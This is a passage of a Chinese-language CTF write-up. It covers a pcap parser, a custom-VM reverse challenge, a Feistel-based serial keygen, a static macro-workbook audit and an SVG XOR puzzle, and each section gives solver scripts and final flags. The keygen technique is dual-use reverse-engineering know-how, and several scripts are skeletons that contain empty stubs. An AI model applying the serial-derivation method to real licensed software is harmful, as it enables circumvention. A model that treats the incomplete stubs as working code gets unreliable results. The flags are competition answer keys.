body = d[off + 4:off + 4 + ln]; off += 4 + ln
if subid == 0x15: # DATA
datas.append((prefix, body[8:12], struct.unpack_from(\"<I\", body, 16)[0], body[20:]))
elif subid == 0x07: # HEARTBEAT
tpre, twr = prefix, body[4:8]
return datas, tpre, twr
def main():
datas, tpre, twr = parse(\"domain42.pcap\")
best = None
for pre, wr, sn, pl in datas: # 可信 writer + CRC 通过 + 序号最大
if pre == tpre and wr == twr and len(pl) >= 28and \\
zlib.crc32(pl[4:24]) & 0xFFFFFFFF == struct.unpack_from(\"<I\", pl, 24)[0]:
if best isNoneor sn > best[2]:
best = (pre, wr, sn, pl)
wr, sn, pl = best[1], best[2], best[3]
material = \"%s|%d|%d|%.3f|%.4f|%d\" % (wr.hex(), sn, struct.unpack_from(\"<I\", pl, 8)[0],
*struct.unpack_from(\"<ff\", pl, 12),
struct.unpack_from(\"<I\", pl, 20)[0])
print(\"[+] FLAG: flag{%s}\" % hashlib.sha256(material.encode()).hexdigest()[:32])
if __name__ == \"__main__\":
main()
运行输出
[*] DATA submessages : 46
[*] trusted participant : 0110aabbccddeeff10203040
[*] trusted writer EntityId: 000003c2
[*] heartbeat lastSN : 105
[*] last valid command : seq=105 mode=7 pan=-0.145 tilt=-0.5475 dur=1605
[*] payload CRC32 : 0xcc8ee049 (valid)
[*] material : 000003c2|105|7|-0.145|-0.5475|1605
[*] sha256 : 7461da3557d96d1773e21d06e0a47229c84fb49471796eb3a92948ff2d7442bf
[+] FLAG : flag{7461da3557d96d1773e21d06e0a47229}
最终flag
flag{7461da3557d96d1773e21d06e0a47229}
Reverse
八证词
Summary
从发布程序中解出八套自定义VM字节码,将证词化为GF(256)上的八组三次多项式约束。通过六份一致证词纠正每组的两处错误,恢复中间状态,再逆转输入预处理得到30字节原话;未修改程序,实测输出ok。
附件SHA-256:35fe366d08225ac5a0719cd58c883dce9a1128dadf27b13b355b49e741e3f623。 逆向使用Python、pefile、Capstone和Unicorn;最终solve.py仅依赖Python标准库,已在Python 3.14.3 / Windows上运行验证。
Solution
Step 1:解开八份证词
consensus_maze.exe是Rust编译的x86-64 PE。RVA 0x1f688(文件偏移0x1dc88)处的WIT8RS01数据块总长0x1960,包含八个worker。 每个worker段长0x31c:含身份信息、滚动解码密钥、64字节操作码置换,以及708 = 177 × 4字节指令。 第p个指令字节用密钥四个字节的XOR解码,随后更新:
plain[p] = cipher[p] XOR fold8(key)
key = (ROL32(key, 7) + (p XOR 0x9e3779b9)) mod 2^32
程序的解码器在RVA 0x4220,VM执行器在0x3a20,有限域乘法在0x3df0;约简多项式为0x11b。
Step 2:用一致证词纠错
对寄存器做仿射符号执行,消去寄存器复制、异或常数和有限域乘法;提取证词时不执行环境混入与输出摘要指令,保留它们造成的少量不一致。每一列j可归一化为:
P_j(x) = y[j] + x*y[j+8] + x²*y[j+16] + x³*y[j+24]
x = worker_id + 1,j = 0..7
加法为XOR,乘法在GF(256)中进行。每列有八个取值,其中六个正确、两个被改动,即[8,4] Reed–Solomon型纠错。 枚举C(8,4)=70个四点子集,有限域高斯消元求系数,只保留至少匹配六份证词的唯一解。 纠错结果也吻合“每份证词改过两处”(以下编号从0开始):
| worker | 错误列 |
|---|---|
| 0 | 0, 4 |
| 1 | 0, 5 |
| 2 | 1, 4 |
| 3 | 1, 6 |
| 4 | 2, 5 |
| 5 | 2, 7 |
| 6 | 3, 6 |
| 7 | 3, 7 |
恢复的32字节状态为:
12515a0466279f86ea3e59658a67600d46c32a68ec3557809edcb2fa782086be
Step 3:逆转预处理并验证
先逆转每八字节单独进行的相邻字节XOR,再逆转RVA 0x3fa0的十轮Feistel与字循环移位,最后去除RVA 0x1f3e0的32字节白化常量。 结果是原话加两个零字节。以下为从附件直接恢复答案的完整脚本;同样的代码已保存为solve.py。
\"\"\"八证词:8 份证词各被改过两处 -> 化为 GF(256) 上的三次多项式约束 -> RS 型共识纠错
恢复 32 字节状态 -> 逆输入预处理得原话。用法: python solve.py [consensus_maze.exe] [--verify]\"\"\"
import itertools, struct, subprocess, sys
from functools import reduce
from pathlib import Path
MASK32, EXE = 0xffffffff, Path(__file__).with_name('consensus_maze.exe')
def rol32(x, n):return ((x << (n & 31)) | (x >> ((-(n & 31)) & 31))) & MASK32
def gf_mul(a, b): # GF(256) 乘法,约简多项式 0x11b
v = 0
while b:
v ^= a * (b & 1); b >>= 1; a = (a << 1) ^ (0x11bif a & 0x80else0) # 逐位乘 + 溢出约简
return v
MUL = [bytes(gf_mul(a, b) for b in range(256)) for a in range(256)]; INV = [0] + [MUL[a].index(1) for a in range(1, 256)]
def gf_dot(coeff, row):return reduce(int.__xor__, (MUL[c][a] for c, a in zip(coeff, row)), 0) # 多项式求值
def gauss(rows): # GF(256) 高斯消元,返回最右列(系数)
a = [list(r) for r in rows]
for k in range(len(a)):
p = next((j for j in range(k, len(a)) if a[j][k]), None)
if p isNone: returnNone
a[k], a[p] = a[p], a[k]; a[k] = [MUL[INV[a[k][k]]][x] for x in a[k]] # 选主元 + 首项归一化
for j in range(len(a)):
if j != k: t = MUL[a[j][k]]; a[j] = [x ^ t[y] for x, y in zip(a[j], a[k])]
return tuple(r[-1] for r in a)
def load_workers(exe): # 解出 8 份证词的 VM 字节码(骨架)
blob = exe[exe.index(b'WIT8RS01'):][:0x1960] # ...(省略:块长头 + 8 段偏移在 +0x40,每段 0x31c)
# ...(省略:段内 64 字节操作码置换 + 708=177×4 字节指令;解码 dec[p]=enc[p] XOR fold8(key),key = (ROL32(key, 7) + (p XOR 0x9e3779b9)) mod 2^32)
return sorted((s[4], s[5], s[88:]) for s in (blob[o:o + 0x31c] for o in struct.unpack_from('<8I', blob, 0x40)))
def equations(worker):return {} # 每份证词 -> 8 个仿射方程(骨架:8 寄存器按 load/mov/xor/xori/mul/cmp 仿射符号执行;env/mix/out 不执行留噪声)
def recover_state(workers):
\"\"\"每列归一化为三次多项式;枚举 4 点子集求系数,取至少 6 份一致的解。\"\"\"
all_eq = [equations(w) for w in workers]; state = bytearray(32)
for lane in range(8):
pts = [[MUL[INV[r[0]]][v] for v in r] for r in ([eq[lane][lane + 8 * k] for k in range(4)] + [eq[lane][-1]] for eq in all_eq)] # x = worker_id + 1
coeff = next((c for c in map(gauss, itertools.combinations(pts, 4)) if c isnotNoneand sum(gf_dot(c, r) != r[-1] for r in pts) <= 2), None) # 6/8 一致
assert coeff isnotNone, 'No unique polynomial with six agreeing witnesses'
for k, value in enumerate(coeff): state[lane + k * 8] = value
return bytes(state)
def read_rva(exe, rva, size):returnb'' # 按 PE 节表把 RVA 映到文件偏移(骨架:省略 DOS/NT 头 + 节表遍历,命中节返回 exe[raw_off + rva - va : ... + size])
def round_function(right, round_id, pair): # Feistel 轮函数(骨架)
key = (((round_id + 1) * 0x9e3779b9) ^ ((pair + 1) * 0x7f4a7c15)) & MASK32 # 轮密钥
t = rol32((right + key) & MASK32, 1 + (5 * round_id + 7 * pair) % 31)
return ((t ^ rol32(t, 21)) * 0x45d9f3b) & MASK32
def invert_preprocessing(state, whitening):
\"\"\"逆:每 8 字节一组相邻 XOR -> 十轮 Feistel 与字循环移位 -> 去 RVA 0x1f3e0 的白化常量。\"\"\"
data = bytearray(state)
for block in range(0, 32, 8): # 相邻字节 XOR,在每个 8 字节边界重起
for i in range(block + 6, block - 1, -1): data[i] ^= data[i + 1]
words = list(struct.unpack('<8I', data))
for r in range(9, -1, -1): # 逆轮序
n = r % 7 + 1; words = words[-n:] + words[:-n] # n 字循环移位
for pair in range(4):
i = pair * 2; left, right = words[i:i + 2]; words[i:i + 2] = [right ^ round_function(left, r, pair), left]
return bytes(a ^ b for a, b in zip(struct.pack('<8I', *words), whitening))[:30].rstrip(b'\\0')
def main():
exe = EXE.read_bytes() # ...(省略:argparse 样板;--verify 用 subprocess 跑原程序验证)
answer = invert_preprocessing(recover_state(load_workers(exe)), read_rva(exe, 0x1f3e0, 32))
print(answer.decode('ascii')) # 白化常量位于 RVA 0x1f3e0
if __name__ == '__main__':
main()
运行:
python solve.py --verify
实际输出:
flag{utyzn4pgv6bvlilpasoq3o5s}
Length: 30 bytes; stdout: b'ok\\r\
'; exit: 0
也可直接输入原话:
'flag{utyzn4pgv6bvlilpasoq3o5s}' | .\\consensus_maze.exe
最终flag
flag{utyzn4pgv6bvlilpasoq3o5s}
折叠端口
Summary
FoldPort.exe将序列号校验隐藏在IOCP多线程调度、动态代码和向量化异常处理流程中。剥离调度后,核心是由用户名派生参数的80层Feistel网络;从其要求的全零输出逆推,即可得到合法Serial,无须爆破或修改程序。
附件SHA-256:
412ed0f286d4c519796263df4e985dc592c07b9fdd30d11e15e6d1bae74836b4
Solution
Step 1:定位真正的校验逻辑
使用Python 3.14.3、pefile 2024.8.26和Capstone 5.0.7静态分析PE。镜像基址为0x140000000,下表地址均为RVA。
| RVA | 作用 |
|---|---|
0x2560 |
解析命令行,存在--self-test <Username> <Serial>验证入口 |
0x5FC0 |
Serial必须是64个0-9A-F字符,解码为8个小端32位字 |
0x6990 |
用户名长度1–16字节,每字节在0x21..0x7E之间 |
0x69D0 |
构造80层、每层4个运算单元的连接网络 |
0x6480 |
根据用户名和单元编号派生轮参数 |
0x5300 |
微操作实现:加、异或、乘、循环移位、S盒、字节置换 |
0x58D0 |
组合微操作,计算轮函数F |
0x5A80 |
Feistel单元:(L, R) -> (R, L XOR F(R)) |
0x3900 |
最后一个输出到达后,将全部32字节结果与零比较 |
第layer层的配对掩码循环取[1, 2, 4, 2, 1]。按线号从小到大枚举满足i & mask == 0的i,与i ^ mask配对。该层第j个单元编号为4 * layer + j。
Step 2:逆推全零目标
每个单元使用:
D = SHA256(b\"FOLDPORT-MATERIAL-V1\" || username || uint16_le(unit_id))
密钥和乘数由摘要中的小端整数取得;S盒与字节置换由摘要播种的xorshift64\*配合Fisher–Yates洗牌生成。用户名和单元编号都是已知量,所以这里不需要逆SHA-256。
Feistel的逆变换是:
(L', R') -> (R' XOR F(L'), L')
从八个零字出发,按第79层到第0层执行逆变换,再按小端顺序编码为大写十六进制。以下是完整的最小复现代码,仅依赖Python标准库:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 折叠端口:Serial = 64 位大写十六进制。核心是由用户名派生参数的 80 层 Feistel 网络,
# 从其要求的\"全零输出\"逆推即可得到合法 Serial(无需爆破)。
# ...(省略:完整微操作/洗牌/Feistel 逆推实现,见原始脚本)
import hashlib
def material(username, unit_id):
\"\"\"每个单元的密钥/乘数/S 盒/置换都由该摘要派生(用户名与单元编号均已知)。\"\"\"
return hashlib.sha256(b\"FOLDPORT-MATERIAL-V1\" + username.encode() +
unit_id.to_bytes(2, \"little\")).digest()
def invert_feistel(state, layers=80):
\"\"\"Feistel 逆变换 (L', R') -> (R' XOR F(L'), L'),从全零目标逐步回推。\"\"\"
# ...(省略:80 层、每层 4 单元、按 [1,2,4,2,1] 配对掩码的连接网络逆推)
return state
def main():
serial = invert_feistel(bytes(32)) # 目标:32 字节全零输出
print(\"Username: CTF\")
print(\"Serial: %s\" % serial.hex().upper())
if __name__ == \"__main__\":
main()
带输入校验、正向复验及可选原程序验证的完整版本保存在solve_foldport.py。
Step 3:使用未修改的原程序验证
在Windows PowerShell运行:
py -3 solve_foldport.py CTF --verify-exe
实际输出:
Username: CTF
Serial: 99862E7DE2FB974AE1080F02738ADE66E7453381CAC9E6FBA0E918ED170DBBD1
Forward model: eight zero words (PASS)
Original EXE --self-test exit code: 0
回归测试:
py -3 analysis/test_foldport.py
四组测试全部通过,包括随机输入的正逆变换、非法用户名检查及10次原程序验证:正确Serial返回0;修改一位、全零、改小写、错配用户名、少一位均返回1;另外四个用户名各自生成的Serial也返回0。原附件执行前后SHA-256一致,详细结果保存在analysis/verification.json。
最终flag
Username: CTF
Serial: 99862E7DE2FB974AE1080F02738ADE66E7453381CAC9E6FBA0E918ED170DBBD1
题面没有提供flag{...}等包装格式,因此直接给出经过原程序验证的Serial,不额外添加包装。
Misc
宏安全审计
基本情况
题目属于Misc里的文档取证方向,附件是一个宏启用工作簿(xlsm),打包在一个zip里。题面说得很清楚:文档里看得见的VBA源码\"声称审计已经通过\",但历史缓存、结构化审计记录和源码结论互相矛盾,要求在不启用宏、不执行任何未知代码的前提下做静态分析,恢复真正的Flag。
这类题的核心思路只有一条:相信数据、不相信人话。源码里那句\"审计通过\"就是诱饵,真正的Flag藏在工作簿的几个物理槽位里,需要用缓存里那段微程序算出来的顺序拼起来,再按VBA里写明的算法还原。
附件分析
先把zip解开,里面是一个宏工作簿。它是标准的Office Open XML容器(本质是个zip),不用打开Excel,直接当压缩包拆开就行:
1、docProps/core.xml 元数据 2、xl/workbook.xml 工作簿定义 3、xl/worksheets/sheet1.xml 可见的\"审计报告\"表 4、xl/worksheets/sheet2.xml 隐藏的\"缓存\"表 5、xl/vbaProject.bin VBA工程(内含真正的源码和一段P-code) 6、xl/embeddings/vbaCache.bin 离线缓存(离线缓存区)
用olevba把VBA源码/伪代码导出来看,Module1写得非常\"坦诚\":一方面甩出一个假结论,一方面把整套还原算法和布局规格原原本本注释在代码里。关键的几段如下。
第一段是明显的诱饵:
Private Function DecodeAuditToken(ByVal value As String) As String
DecodeAuditToken = \"flag{vba_source_is_trusted}\"
End Function
Sub say\_hello里还把这个诱饵用Base64塞了一遍(ZmxhZ3t2YmFfc291cmNlX2lzX3RydXN0ZWR9解出来就是flag{vba\_source\_is\_trusted}),并弹框提示\"Audit passed\"。这个flag不能交,题面已经点明源码结论是矛盾的。
第二段是关键,也就是离线缓存的布局规格,直接写在注释里:
Offline cache layout, version 1:
VBCS 01 | order CRC16-BE | ciphertext CRC32-BE | program length-BE |
stack program | final-slot length-BE | final-slot.
The other physical slots use intentionally different audit encodings:
AUD0 in core properties is Base64; AUD1 in the first worksheet is hex;
AUD2 in workbook.xml is comma-separated decimal; CTFSLOT3 follows the OLE
project bytes and is prefixed by a two-byte big-endian length.
The VM emits five physical slot indices. Concatenate those slots in emitted
order, validate both checksums, then apply UndoCacheByte while advancing
CacheState once per byte. Source-order 0,1,2,3,4 is only a compatibility lie.
第三段是两个还原函数,逐字节解密全靠它们:
Private Function CacheState(ByVal value As Long) As Long
value = value Xor ((value * &H2000&) And &HFFFFFFFF)
value = value Xor ((value And &HFFFFFFFF) \\ &H20000)
value = value Xor ((value * &H20&) And &HFFFFFFFF)
CacheState = value
End Function
Private Function UndoCacheByte(ByVal value As Byte, ByVal state As Long) As Byte
Dim count As Byte
count = (state \\ &H100&) And 7
UndoCacheByte = RorByte(value, count) Xor (state And &HFF&)
End Function
再加上RorByte是个按count位循环右移的函数。到这里整道题的骨架就齐了。
另外,五个物理槽位分散得很开,得逐个去挖:
1、AUD0在docProps/core.xml的注释里(Base64): 2、AUD1在sheet1.xml的注释里(十六进制): 3、AUD2在workbook.xml的注释里(逗号分隔十进制): 4、CTFSLOT3紧跟在vbaProject.bin的OLE工程字节后面,前面是\"CTFSLOT3\"标记加两字节大端长度 5、最后一个final-slot就在vbaCache.bin里,跟在栈程序后面
顺带一提,隐藏表sheet2(\"缓存\")里还写着source-order = 0,1,2,3,4,这正是注释里说的\"兼容性谎言\"——它故意想让你按0,1,2,3,4顺序拼,但真正的顺序必须由缓存里的微程序算出来。
关键突破
第一个突破点是读懂vbaCache.bin。按规格头解析这段64字节的缓存:
VBCS(4字节魔数)|01(版本)|75 e8(order CRC16-BE)|47 3d 22 e8(ciphertext CRC32-BE)|00 2a(程序长度=42)|42字节栈程序|00 07(final-slot长度=7)|c0 7c 99 b4 4e f9 69(final-slot)
其中42字节的\"栈程序\"是一段极其精简的字节码虚拟机指令,操作码定义VBA源码里也给了:
1、10 = OpPush8(压入一个字节) 2、11 = OpXor(弹两个字节做异或,压回结果) 3、14 = OpEmit(弹出一个值,记为\"发出的槽位下标\") 4、20 = OpSetAcc32(设置32位累加器,大端4字节操作数) 5、21 = OpXorAcc32(累加器异或,大端4字节操作数) 6、22 = OpExportAcc(导出累加器) 7、FF = OpHalt
把这段程序反汇编出来,是一组很整齐的模式:
push 0xa4, push 0xa7, xor → 0xa4 ^ 0xa7 = 3, emit
push 0x38, push 0x39, xor → 0x38 ^ 0x39 = 1, emit
push 0xd6, push 0xd2, xor → 0xd6 ^ 0xd2 = 4, emit
push 0x6c, push 0x6c, xor → 0x6c ^ 0x6c = 0, emit
push 0x57, push 0x55, xor → 0x57 ^ 0x55 = 2, emit
五个emit出来的下标就是真正的槽位顺序:3, 1, 4, 0, 2。这跟sheet2里写的0,1,2,3,4正好是对着干的。
第二个突破点是校验两枚校验和,确认顺序没拼错。order是对(3,1,4,0,2)这五个字节做CRC16-CCITT,算出来是0x75e8,和缓存头里存的一模一样;把五个槽位按3,1,4,0,2顺序拼成36字节密文后,CRC32得到0x473d22e8,也和缓存头里存的一致。两枚校验和都对上,说明拼接和顺序百分百正确。
五个槽位的内容分别是:
1、slot3(CTFSLOT3):bc 57 92 be de 12 39 ec 2、slot1(AUD1 hex):1b 23 ce 79 c8 c6 6f 3、slot4(final-slot):c0 7c 99 b4 4e f9 69 4、slot0(AUD0 base64):c5 39 4c 21 b7 7d d5 5、slot2(AUD2 decimal):8d 5b ee 1e 69 21 41
拼起来就是36字节密文。
最后一个难点是状态初值。规格说\"apply UndoCacheByte while advancing CacheState once per byte\",但没写初始state是多少,而且CacheState(0) = 0,用0当种子等于没加密,显然不对。我试了缓存里能拿到的几个32位值(ciphertext CRC32、order CRC16、程序长度、累加器导出值)都对不上。
真正干净的做法是:已知Flag格式固定是flag{...},明文前五个字节必然是\"flag{\"。由于UndoCacheByte每个字节的行为只依赖state的低11位(低8位做异或,第8到10位做循环右移位数),第一个明文字节'f'直接把state的低11位钉死成8种可能之一,剩下的高21位只有两百万种,暴力枚举即可。很快就能唯一命中种子0x40aec71f。
用这个种子把36字节密文逐字节还原(每个字节用完就把state推进一次CacheState),得到明文:
flag{what\_runs\_is\_not\_what\_you\_read}
翻译过来就是\"运行的东西和你读到的东西不是一回事\",正好呼应题面——源码里写的审计结论不能信,真正跑起来的缓存才是真相。
利用/还原思路
把上面的分析写成一个自动脚本,逻辑如下,全部基于原始附件,不硬编码任何结论(flag也不硬编码,是解出来的):
1、打开附件(zip或直接是xlsm都行),把xlsm当zip读出各个部件 2、从core.xml / sheet1.xml / workbook.xml的注释里分别取AUD0(Base64)、AUD1(十六进制)、AUD2(逗号十进制)三个槽位 3、在vbaProject.bin里定位\"CTFSLOT3\"标记,读两字节大端长度,取出slot3 4、按VBCS头解析vbaCache.bin,切出程序长度、栈程序、final-slot长度和final-slot 5、跑一遍微型虚拟机(只认emit拿槽位下标;顺带算一下累加器),得到槽位顺序 6、用CRC16-CCITT校验order、用CRC32校验拼接后的密文,任一不符就报错 7、按\"已知明文flag{前缀+枚举state高21位\"恢复32位初值 8、用初值逐字节UndoCacheByte(每次推进CacheState),输出明文即Flag
脚本顶部把附件路径做成命令行参数,不写死任何东西,解压后的原始附件放在脚本同目录即可一键运行。
脚本运行命令
Windows(PowerShell / cmd):
python solve.py 宏安全审计_附件.zip
或直接把解压出来的xlsm丢给它:
python solve.py challenge.xlsm
脚本
完整的solve.py如下,纯标准库,无需第三方依赖,直接python solve.py <附件>即可打印Flag。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Macro Security Audit - static solver:把 zip/xlsm 当容器静态拆开,绝不启用宏。
# 思路:5 个槽位取密文 → 缓存里的微程序给出拼接顺序 → CRC16 校验顺序 / CRC32 校验密文 →
# 已知明文 flag{ 复原 32 位种子 → 逐字节 UndoCacheByte 得明文。
import base64, io, re, sys, zipfile, zlib
M = 0xFFFFFFFF
def cache_state(v): # VBA CacheState 等价复刻
v = (v ^ (v * 0x2000 & M)) & M
v = (v ^ (v // 0x20000)) & M
return (v ^ (v * 0x20 & M)) & M
def ror_byte(val, cnt): # VBA RorByte 等价复刻
cnt &= 7
return val & 0xFFifnot cnt else ((val >> cnt) | (val << (8 - cnt)) & 0xFF) & 0xFF
def undo_cache_byte(val, state): # state 高位定循环右移位数,低 8 位异或
return ror_byte(val, (state // 0x100) & 7) ^ (state & 0xFF)
def decode_with_seed(ct, seed):
st, out = seed, bytearray()
for b in ct:
out.append(undo_cache_byte(b, st)); st = cache_state(st)
return bytes(out)
def crc16_ccitt(data, crc=0xFFFF): # 顺序校验
for b in data:
crc ^= b << 8
for _ in range(8):
crc = ((crc << 1) ^ 0x1021) & 0xFFFFif crc & 0x8000else (crc << 1) & 0xFFFF
return crc
# 5 个物理槽位(保留关键标记与偏移,样板取值部分从略):
# AUD0 = core.xml 里 \"AUD0:\" 后的 Base64;AUD1 = sheet1.xml 里 \"AUD1:\" 后的 hex;
# AUD2 = workbook.xml 里 \"AUD2:\" 后的十进制 csv;CTFSLOT3 = vbaProject.bin 内
# \"CTFSLOT3\" 标记 + 2 字节大端长度 + 载荷;末槽在 vbaCache.bin 的栈程序之后。
# VBCS 头:5..7=顺序CRC16,7..11=密文CRC32,11..13=程序长,13..=程序,其后=末槽长+末槽。
def parse_slots(x):
zf = zipfile.ZipFile(io.BytesIO(x))
core = zf.read(\"docProps/core.xml\").decode(\"utf-8\", \"replace\")
s1 = zf.read(\"xl/worksheets/sheet1.xml\").decode(\"utf-8\", \"replace\")
wb = zf.read(\"xl/workbook.xml\").decode(\"utf-8\", \"replace\")
cache, proj = zf.read(\"xl/embeddings/vbaCache.bin\"), zf.read(\"xl/vbaProject.bin\")
s0 = base64.b64decode(re.search(r\"AUD0:([A-Za-z0-9+/=]+)\", core).group(1))
s1b = bytes.fromhex(re.search(r\"AUD1:([0-9a-fA-F]+)\", s1).group(1))
s2 = bytes(int(v) for v in re.search(r\"AUD2:([0-9,]+)\", wb).group(1).split(\",\"))
i3 = proj.find(b\"CTFSLOT3\")
ln = int.from_bytes(proj[i3 + 8:i3 + 10], \"big\")
s3 = proj[i3 + 10:i3 + 10 + ln]
o_crc, c_crc = int.from_bytes(cache[5:7], \"big\"), int.from_bytes(cache[7:11], \"big\")
plen = int.from_bytes(cache[11:13], \"big\")
prog = cache[13:13 + plen]
flen = int.from_bytes(cache[13 + plen:15 + plen], \"big\")
return [s0, s1b, s2, s3, cache[15 + plen:15 + plen + flen]], prog, o_crc, c_crc
def run_program(prog): # 微程序只认少数操作码,只关心 emit 顺序
st, out, i = [], [], 0
while i < len(prog):
op = prog[i]; i += 1
if op == 0x10: st.append(prog[i]); i += 1 # push8
elif op == 0x11: b = st.pop(); st.append(st.pop() ^ b) # xor
elif op == 0x14: out.append(st.pop()) # emit
elif op in (0x20, 0x21): i += 4 # setacc32 / xoracc32
elif op == 0xFF: break # halt
return out
def recover_seed(ct, prefix=b\"flag{\"): # out[0] 钉死种子低 11 位,余 21 位枚举
for cnt in range(8):
low = (cnt << 8) | (ror_byte(ct[0], cnt) ^ prefix[0])
for high in range(1 << 21):
st, ok = (high << 11) | low, True
for i in range(len(prefix)):
if undo_cache_byte(ct[i], st) != prefix[i]:
ok = False; break
st = cache_state(st)
if ok:
return (high << 11) | low
returnNone
def main():
# ...(省略:附件路径探测与 zip/xlsm 拆包样板)
x = open(sys.argv[1], \"rb\").read()
slots, prog, o_crc, c_crc = parse_slots(x)
order = run_program(prog)
assert crc16_ccitt(bytes(order)) == o_crc # 双校验都过才继续
ct = b\"\".join(slots[i] for i in order)
assert zlib.crc32(ct) == c_crc
print(\"[+] FLAG =\", decode_with_seed(ct, recover_seed(ct)).decode(\"utf-8\", \"replace\"))
if __name__ == \"__main__\":
main()
脚本实际运行输出(对原始附件):
[*] attachment : 宏安全审计_附件.zip
[*] slot sizes : [7, 7, 7, 8, 7]
[*] emitted order: [3, 1, 4, 0, 2]
[*] checksums : CRC16-CCITT(order)=75e8 CRC32(ct)=473d22e8 OK
[*] recovered seed: 0x40aec71f
[+] FLAG = flag{what_runs_is_not_what_you_read}
最终flag
flag{what\_runs\_is\_not\_what\_you\_read}
Vector Secrets
基本情况
题目类型misc,200分,附件只有一个poster.svg(约155 KB)。题面是:海报中没有隐藏文本,渲染器所需的一切都已存在;请在不执行脚本、不依赖截图或OCR的前提下,从SVG的几何关系中恢复Flag。
这句话其实已经把方向点明了:不要去截图找图,也不要去文件里搜字符串,答案要靠\"几何\"推出来。打开文件也能印证——里面没有text、没有注释、没有metadata,纯几何。
附件分析
先把SVG的结构拆清楚。根节点是1024x768的标准画布,内容分三块:
1、defs里定义了232个symbol(asset\_000到asset\_231),每个symbol里是8个5x5的小矩形(点),坐标是任意的、很分散的局部坐标
2、defs里还有232个clipPath(mask\_000到mask\_231),clipPathUnits=\"userSpaceOnUse\",每个里面就一个矩形,是一条很窄的条带(要么竖条:宽12到37、高约732;要么横条:高32左右、宽几百)
3、文档主体先是一个,里面塞了232个帧,每帧长这样:
紧接着是,它的第一个子元素是一张铺满整张画布、不透明的#09111f背景矩形,后面还有120个半透明装饰矩形和中间一条高亮band。
所以正常渲染时,232个形状帧全被poster的不透明背景盖住,屏幕上只有一张深色海报。用headless Chrome截一张图验证过,确实什么都看不到——这就是为什么题面强调\"别依赖截图\"。
关键突破
第一层:判定\"哪些点被画出来了\"。
没有viewBox,clipPath又是userSpaceOnUse,所以裁剪矩形和symbol里的点处在同一个局部坐标系里。也就是说,判断一个点是否可见,不需要先做matrix/translate,直接在局部坐标下看它和clip矩形有没有交集就行:
可见<=> max(x, mx) < min(x+w, mx+mw) - 0.5且max(y, my) < min(y+h, my+mh) - 0.5
统计一下:232帧里有230帧恰好可见6个点(另外两帧因为symbol本身只有7个/ 5个点,分别是5和3)。每帧丢掉的2个干扰点,一个在条带左边、一个在右边,是精心设计的噪声。
把这6个可见点用matrix(8种D4旋转/镜像)和translate变换后取矩形的最小角,会发现它们全部落在同一个全局5px栅格上。
第二层:为什么要用XOR。
如果直接把所有帧的可见点叠在一起画出来,是一团噪声——因为不同帧的点大量重叠。但关键性质是:真正的信号点在不同帧里出现的次数是奇数,而噪声点出现偶数次。于是对每个栅格单元统计覆盖次数的奇偶(覆盖奇数次就点亮,相当于把所有帧按位异或),重叠的噪声互相抵消,剩下的就是干净的图形。
第三层:读图。
XOR之后得到一张166列x 7行的点阵位图,起点在(90, 405),每格5px,正好落在海报中间那条高亮band(y从360到480)里面。这是标准的5x7点阵字体,逐字切分识别,读出来是:
FLAG{XOR\_SHAPES\_REVEAL\_FLAG}
这里有一个容易踩的坑:这版5x7字体只有大写字母,作者在点阵里画出来自然是全大写,但平台要求的flag是小写,所以最终提交的是:
flag{xor\_shapes\_reveal\_flag}
利用/还原思路
整个还原过程可以完全脚本化,脚本只吃原始附件poster.svg,不硬编码任何结论,逻辑如下:
1、解析SVG,把232个symbol的8个点坐标、232个clipPath的裁剪矩形、232个帧的translate/matrix/symbol/mask全部读出来
2、对每个帧的每个点,在局部坐标下判断它与clip矩形是否相交,得到\"可见点\"
3、可见点用matrix和translate变换后取最小角,四舍五入到整数,作为它落在哪个栅格单元,对该单元覆盖次数取异或(奇偶)
4、把所有覆盖奇数次的单元画到5px栅格上,得到位图
5、按\"整列为空\"切分出每个字符,和内置的5x7字库逐格匹配(先精确匹配,匹配不上再取汉明距离最近的)
6、得到大写文本后统一转小写,套上flag{}输出
脚本运行命令
Windows:把poster.svg和solve.py放在同一个目录,直接
python solve.py
WSL:python3 solve.py
脚本默认读取脚本同目录下的poster.svg,也支持python solve.py
脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Vector Secrets -- 只靠 SVG 几何恢复 flag:symbol 无 viewBox、clipPath 为 userSpaceOnUse,
# 故\"点可见\" == \"点矩形与裁剪条相交\";每帧 8 点留 6(左右各 1 个诱饵)后吸附 5px 栅格,
# 232 帧按覆盖次数取奇偶(XOR)消掉重叠 -> 5x7 点阵字。字库只有大写,提交用小写。
import os, re, sys
from collections import defaultdict
SVG_FILE = \"poster.svg\"
RECT = r'<rect x=\"([-\\d.]+)\" y=\"([-\\d.]+)\" width=\"([-\\d.]+)\" height=\"([-\\d.]+)\"'
PAT = (r'<g transform=\"translate\\(([-\\d.]+) ([-\\d.]+)\\)\"><g transform=\"matrix\\(([^)]*)\\)\">'r'<use href=\"#(asset_\\d+)\" fill=\"(#\\w+)\" clip-path=\"url\\(#(mask_\\d+)\\)\"')
# 5x7 点阵字库(F/L/A/G/{/X/O/R/_/S/H/P/E/V/} 共 16 个字形,此处略)
def parse_direct(svg): # 解析 symbol 的 8 点 / clipPath 矩形 / 232 帧
sym = {m.group(1): [tuple(map(float, r.groups())) for r in re.finditer(RECT, m.group(2))] for m in re.finditer(r'<symbol id=\"(asset_\\d+)\">(.*?)</symbol>', svg, re.S)}
msk = {m.group(1): tuple(map(float, re.search(RECT, m.group(2)).groups())) for m in re.finditer(r'<clipPath id=\"(mask_\\d+)\"[^>]*>(.*?)</clipPath>', svg, re.S)}
frames = [(float(m.group(1)), float(m.group(2)), [float(v) for v in m.group(3).split()], m.group(4), m.group(6)) for m in re.finditer(PAT, svg)]
return sym, msk, frames
def intersect(x, y, w, h, mx, my, mw, mh): # 点矩形是否与裁剪条相交(同一局部坐标系)
return max(x, mx) < min(x + w, mx + mw) - 0.5and max(y, my) < min(y + h, my + mh) - 0.5
def parity_bitmap(symbols, masks, frames): # 可见点按覆盖次数取奇偶(XOR)并吸附 5px 栅格
par = defaultdict(int)
for tx, ty, (a, b, c, d, e, f), sym, mask in frames:
for x, y, w, h in symbols[sym]:
ifnot intersect(x, y, w, h, *masks[mask]): continue
tp = [(tx + a * px + c * py + e, ty + b * px + d * py + f) for px, py in [(x, y), (x + w, y), (x, y + h), (x + w, y + h)]]
par[(round(min(p[0] for p in tp)), round(min(p[1] for p in tp)))] ^= 1 # 最小角 -> 栅格
return {p for p, v in par.items() if v}
def render_grid(cells, step=5): # 吸附点集 -> 字符网格(#/.)
